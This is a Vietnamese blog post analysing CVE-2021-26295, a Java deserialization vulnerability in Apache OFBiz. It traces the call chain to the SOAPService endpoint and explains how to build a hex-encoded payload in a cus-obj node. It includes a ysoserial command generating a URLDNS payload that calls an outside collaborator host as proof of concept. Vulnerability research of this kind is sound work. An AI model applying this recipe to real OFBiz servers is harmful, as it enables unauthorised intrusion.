Tản mạn
Dạo gần đây thì có ông anh trong công ty rủ mình ngồi nghiên cứu con ERP EBS (E-Business Suite) của oracle vì có nhiều doanh nghiệp dùng thằng này. Lúc đấy thì mình còn chưa biết đến ERP là gì. Thế là lại ngồi tìm hiểu thôi
ERP?
Về cơ bản thì ERP là một loại phần mềm mà các tổ chức sử dụng để quản lý các hoạt động kinh doanh hàng ngày như kế toán, mua sắm, quản lý dự án, quản lý rủi ro và tuân thủ cũng như các hoạt động của chuỗi cung ứng. Một bộ ERP hoàn chỉnh cũng bao gồm quản lý hiệu suất doanh nghiệp, phần mềm giúp lập kế hoạch, lập ngân sách, dự đoán và báo cáo về kết quả tài chính của tổ chức.
Oracle cũng cso sản phẩm ERP của riêng họ là EBS (E-Business Suite). Tuy nhiên khi bắt đầu vào cài đặt thì mình thấy target này khá nặng. Mà với cái máy cùi cùi của mình thì cài còn không nổi chứ nói gì đến nghiên cứu nó (-̩̩̩-̩̩̩-̩̩̩-̩̩̩-̩̩̩___-̩̩̩-̩̩̩-̩̩̩-̩̩̩-̩̩̩). Tình cờ là thời gian đó thì mình có xem và biết apache có public một số lỗ hổng liên quan đến java deserialization. Mình thì cũng hứng thú với lỗ hổng dạng này vả lại sản phẩm của apache dính lỗi là apache ofbiz lại cũng là một hệ thống ERP. Chần chờ gì nữa. Triển thôi ( ︶︿︶)_╭∩╮.
Apache Ofbiz
Theo https://ofbizextra.org/ofbizextra_adocs/docs/asciidoc/user-manual.html thì
"It is hard to define OFBiz because it offers many different solutions targeted at different levels of interests (users, developers, business owners). At a low level it may considered a web framework, at another level, it may considered a full fledged ERP system, and yet it can also be considered a business automation suite."
Về cơ bản thì nó phụ thuộc vào đối tượng người dùng. Ở cấp thấp thì có thể xem nó như một web framework bình thường. Ở cấp cao hơn thì có thể xem nó như là một hệ thống ERP mạnh mẽ.
Các lỗ hổng gần đây của Apache Ofbiz
CVE | Affected version |
---|---|
CVE-2021-26295 | <= 17.12.05 |
CVE-2021-29200 | <= 17.12.06 |
CVE-2021-30128 | <= 17.12.06 |
Trong bài viết này thì mình sẽ phân tích lại CVE-2021-26295
Dựng môi trường debug
Trong bài phân tích mình sử dụng jdk1.8.0_281, apache ofbiz 17.12.05 và intelij để debug Về apache ofbiz 17.12.05 các bạn có thể tải tại đây: https://github.com/apache/ofbiz-framework/releases/tag/release17.12.05.
Sau khi tải về, giải nén các bạn được như sau:
Sau đó các bạn làm như sau để build và setup debug.
./gradle/init-gradle-wrapper.sh
sau đó./gradle cleanAll loadAll
: đối với người dùng linux.\init-gradle-wrapper.bat
sau đó.\gradlew.bat cleanAll loadAll
: đối với người dùng windows
Mình thì sử dụng windows nên kết quả sau khi chạy sẽ được như sau:
và
Sau khi build thành công thì các bạn làm tiếp như sau để setup remote debug
./gradle ofibzDebug
: đối với người dùng linux.\gradlew.bat ofibzDebug
: đối với người dùng windows
Như các bạn thấy thì server đã listen port 5005 để chờ client connect đến. Các bạn bật Intelij lên và setup remote debug đến server. Chú ý là phải connected thành công thì server mới chạy tiếp được nhé, không là nó đợi ở đó mãi không khởi động được đâu. Mình bị loay hoay mãi ở chỗ đó.
Về phần set up Intelij như thế nào để debug thì mình đã nói rõ ở bài này
https://viblo.asia/p/java-deserialization-write-up-matesctf-2018-wutfaces-Eb85oekBZ2G. Các bạn có thể xem lại và làm theo. Chú ý là add lib thì lib của chúng ta nằm ở ofbiz-framework-release17.12.05\build\libs\ofbiz.jar
. Chú ý sau khi load lib thasnfn công các bạn sẽ có các file .class trong project. Tuy nhiên để có thể trace ngược từ sink về source trong intelij thì phải sử dụng chức năng Find Usages
mà theo mình thử nghiệm thì chỉ hoạt động với các file .java thôi. Nên các bạn phải load source của project vào
Ok. Thế là xong bước dựng môi trường rồi. Bắt đầu phân tích thôi
Phân tích CVE-2021-26295
Xác định chain to trigger deserialization
Giống như bao bài phân tích khác thì đầu tiên mình sẽ diff xem bản vá và bản lỗi khác nhau chỗ nào để tìm được điểm gây ra lỗi. Ở đây mình diff 2 phiên bản là 17.12.05 và 17.12.06. https://github.com/apache/ofbiz-framework/compare/release17.12.05...release17.12.06
Để giảm bớt thời gian tìm kiếm xem mình nên focus vào chỗ nào trong bản diff rất lớn này mình vào trang https://issues.apache.org/jira/projects/OFBIZ/issues/OFBIZ-12203?filter=allopenissues và tìm kiếm cve-2021-26295 thì được.
Từ đây mình tìm kiếmAdds a blacklist (to be renamed soon to denylist) in Java serialisation (CVE-2021-26295)
trong bản diff trên để xem chính xác họ sửa gì.
Có thể thấy rằng họ đã chặn không cho sử dụng rmi tại đây. Và xác nhận rằng lớp này là nơi gây ra lỗi. Tuy nhiên thì mình vẫn chưa thấy điểm trigger deserialize ở đâu. Có thể điểm trigger đó nằm ở lớp khác và có gọi đến lớp này nên họ mới xử lý chặn rmi tại đây. Để tìm được nơi gọi đến lớp SafeObjectInputStream.java
này mình sử dụng tính năng Find Usages
trong intelij để trace ngược về.
Ta thấy ngay là method getObjectException
trong lớp UtilObject.java
có tạo đối tượng của lớp SafeObjectInputStream
truyền vào một byte stream sau đó thực hiện readObject
ngay. Và đây là nơi thực hiện deserialization của chúng ta. Vấn đề tiếp theo là cần tìm được endpoint mà user có thể control được. Tiếp tục trace ngược lại cho đến khi chạm được đến nơi mà user có thể control.
Method getObjectException
được gọi tại dòng 95 trong method getObject
của lớp UtilObject
method getObject
được gọi tại dòng 475 trong method deserializeCustom
của lớp XmlSerializer
. Để ý method deserializeCustom
thực hiện deserialize
dựa vào tên thành phần xml. Để nhảy đến được dòng 475 thì bắt buộc tagName
phải là cus-obj
. Chúng ta lưu ý điểm này để xây dựng payload
Tiếp tục thì thấy deserializeCustom
được gọi tại 3 dòng 383, 413, 465 trong method deserializeSingle
deserializeSingle
được gọi tại dòng 128 của method deserialize(Document document, Delegator delegator)
deserialize(Document document, Delegator delegator)
được gọi tại dòng 45 của method deserialize(String content, Delegator delegator)
trong lớp SoapSerializer
deserialize
tiếp tục được gọi tại dòng 177 của method invoke
trong lớp SOAPEventHandler
. Chú ý tại dòng 173 ta thấy reqBody được sử dụng chứng tỏ tại đây có thể xử lý phần body của requet gửi lên.
invoke
được gọi tại dòng 744 trong method runEvent
của lớp RequestHandler
. Và chính lớp này là nơi xử lý các request ta gửi lên server. Tóm gọn lại quá trình thì chain đi đến điểm trigger deserlization như sau:
request
-> RequestHandler.runEvent()
- > SOAPEventHandler.invoke()
-> SoapSerializer.deserialize()
-> XmlSerializer.deserialize(Document document, Delegator delegator)
-> XmlSerializer.deserializeSingle()
->XmlSerializer.deserializeCustom()
-> UtilObject.getObject()
->UtilObject.getObjectException()
-> SafeObjectInputStream:return wois.readObject()
Xác định endpoint để tạo request
Đầu tiên chúng ta đọc file web.xml trong \ofbiz-framework-release17.12.05\framework\webtools\webapp\webtools\WEB-INF\web.xml
để xem các servlet-name
và các url-pattern
gắn với chúng.
Tất cả các request đến /control/*
thì đều phải qua lớp ControlServlet
.
method getRequestHandler()
được gọi tại dòng 83 nhằm khởi tạo request handler. Tức là nhảy vào lớp RequestHandler
đó.
Khi khởi tạo RequestHandler
thì chương trình sẽ lấy các config controller từ file \ofbiz-framework-release17.12.05\framework\webtools\webapp\webtools\WEB-INF\controller.xml
và đưa vào biến controllerConfigURL
.
Chú ý this.eventFactory = new EventFactory(context, this.controllerConfigURL);
sẽ lấy ra các event từ controllerConfigURL
và đưa vào eventFactory
. Sau khi khởi tạo hoàn tất thì ControlServlet
gọi phương thức RequestHandler.doRequest
để xử lý yêu cầu
Trong method RequestHandler.doRequest
sẽ thực hiện gọi method RequestHandler.runEvent()
.
Phân tích kĩ hơn về method RequestHandler.runEvent()
method này sẽ thực hiện cơ chế phản xạ java để nhảy đến lớp điều khiển tương ứng để hoạt động theo các uri khác nhau phụ thuộc vào param event
lấy ra từ eventFacrtory
.
Để đi theo chain như bước trước chúng ta tìm được thì chúng ta phải nhảy vào được SOAPEventHandler
tức là event.type
phải là soap
. Kiểm tra trong file controller.xml
thì <event type="soap"/>
sẽ có <request-map uri="SOAPService">
Đến đây thì endpoint cuối cùng của chúng ta sẽ là /webtools/control/SOAPService
Xây dựng payload
Như ở trên mình cũng từng chỉ ra là thằng SOAPEventHandler
sẽ xử lý request body chúng ta gửi lên. Vì vậy mình sữ tạo một POST request gửi lên để debug và xây dựng payload. Chú ý thì định dạng cơ bản của soap request là
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">soapenv:Header/ soapenv:Body </soapenv:Body></soapenv:Envelope>
Khi phân tích cú pháp xml, các nút con của request body sẽ được lấy đầu tiên, vì vậy mình thêm một nút tùy ý bên dưới request body.
Có thể gọi deserializeCustom
trực tiếp bằng cách xây dựng 1 nút có tagName không thỏa mãn tất cả các điều kiện if
Trong deserializeCustom
, nội dung của nút cus-obj
được chuyển đổi từ hệ thập lục phân thành chuỗi, vì vậy payload của chúng ta cần được chuyển đổi thành hệ thập lục phân. Cần chú ý là các lớp chúng ta sử dụng để xây dựng payload cần nằm trong white list
Mình sử dụng URLDNS để Poc trong bài này.
java -jar ysoserial-master-d367e379d9-1.jar URLDNS "http://4bghb174d3dft0d4uyk1f40tpkvajz.burpcollaborator.net" > payload.bin
sau đó đọc file payload.bin và chuyển thành hex và gửi lên server.
Kết quả được
Cuối cùng cũng xong. Theo mình thấy thì họ vá bằng cách chặn RMI. Tức là có thể rce thông qua RMI. Nhưng mình có xem poc trên mạng và làm theo thì lại không thành công. Có lẽ mình cần tìm hiểu thêm. Nhưng mà thôi. Bài viết dừng lại ở đây thôi. Hẹn gặp lại các bạn trong các bài phân tích tiếp theo.